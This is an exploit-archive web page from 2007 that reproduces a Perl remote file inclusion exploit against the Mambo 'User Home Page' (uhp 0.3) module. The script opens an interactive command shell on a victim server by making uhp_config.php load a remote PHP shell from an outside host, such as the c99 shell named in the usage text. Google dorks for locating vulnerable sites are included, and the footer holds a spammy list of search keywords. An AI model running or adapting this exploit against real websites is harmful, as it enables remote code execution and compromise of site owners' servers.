about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Mambo Module uhp 0.3 (uhp_config.php) Remote File Inclusion Exploit




2007-03-23 Mambo Module uhp 0.3 (uhp_config.php) Remote File Inclusion Exploit
Rated as : High Risk

#!/usr/bin/perl
#                             _\/_  __  _
#                   long Life  /  \/  \/ \ My Home Land
#                             /   /   /  /
#                 (@_        /  /   //  /
#            _     ) \_______\_/ \_//  /________
#           (_)@8@8{}<________Palestine_________>
#                  )_/         \_____/
#                 (@
#
# MAMBO Ravenswood: User Home Page (Uhp v0.3) (uhp_config.php) Remote File
Inclusion Exploit
# Download Script :
http://mamboxchange.com/frs/download.php/1582/uhp_0.3.zip
# Founded & Coded by: Cold z3ro , Cold-z3ro@hotmail.com
# Dork : index.php?option=com_uhp , inurl:com_uhp
# Exploit :
http://www.example.com/mambo_path/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=Evil-script?
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
     print "[shell] \$";
while(<STDIN>)
     {
             $cmd=$_;
             chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return
="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
     {print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print
"\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
     $finreturn = $1;
     $finreturn=~ tr/[....]/[\n]/;
     print "\r\n$finreturn\n\r";
     last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n======================Long Life My Home Land
Palestine======================\r\n";
print "\r\n";
print "MAMBO Ravenswood: User Home Page (uhp_config.php) Remote File
Inclusion Exploit\r\n";
print "                 Ravenswood: User Home Page = (Uhp v0.3)
\r\n";
print
"============================================================================\r\n";
}
sub usage()
{
head();
print "\r\n";
print " Usage: perl Cold-z3ro.pl <Victim> <Cmd Shell
Location> <Cmd Shell
Variable>\r\n\n";
print "  <Victim> - Full path to script Example:
http://www.site.com/mambo_path/ \r\n";
print "  <cmd shell> - Path to Cmd Shell e.g 
http://b0rizq.by.ru/c99.txt?
\r\n";
print "  <cmd variable> - Cmd Variable Used In Php Shell like [
id ]\r\n";
print "\r\n";
print
"============================================================================\r\n";
print "\r\n";
print "                  Fund  And  Coded  By  Cold z3ro \r\n";
print "                   Cold-z3ro[at]hotmail[dot]com \r\n";
print "     Greetz To: www.milw0rm.com , www.hack-teach.com ,
www.4azhar.com
\r\n";
print "            Dork : index.php?option=com_uhp , inurl:com_uhp
\r\n";
print "                     Thanks for H666p & HacOor
    \r\n";
print "                            ---------\r\n";


exit();
}
securitydot.net - 2007-03-23

Advertising

Copyright 2007, SecurityDot
Sun, 08 Nov 2009 08:59:52 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www ftv.co Sextv1 3 IB Www.worldm Americanho www.xvedio www.sf29.c ANIMALS+FU trans sex PHP 4.3.10 /search/ex seepasswor www.oldsex Free webs htsearch 18-/0 dap 8.5 cr Www.Aishse Www.Aishse Suganya CMS is Fre free sex p www.xhotx. ubb.thread Burning B www.2008sf t970t foto bugil 200 /compo www.mw528. free sex p madlin ubb.thread www.naruto adultpics. www.superw www.mnjyw. Sex vedieo www.oldsex http://bag www.mnjyw. WWW.TaMILS ej3 topo downloadss Sexye imag NTI movie indian http://bag bebo.com s virus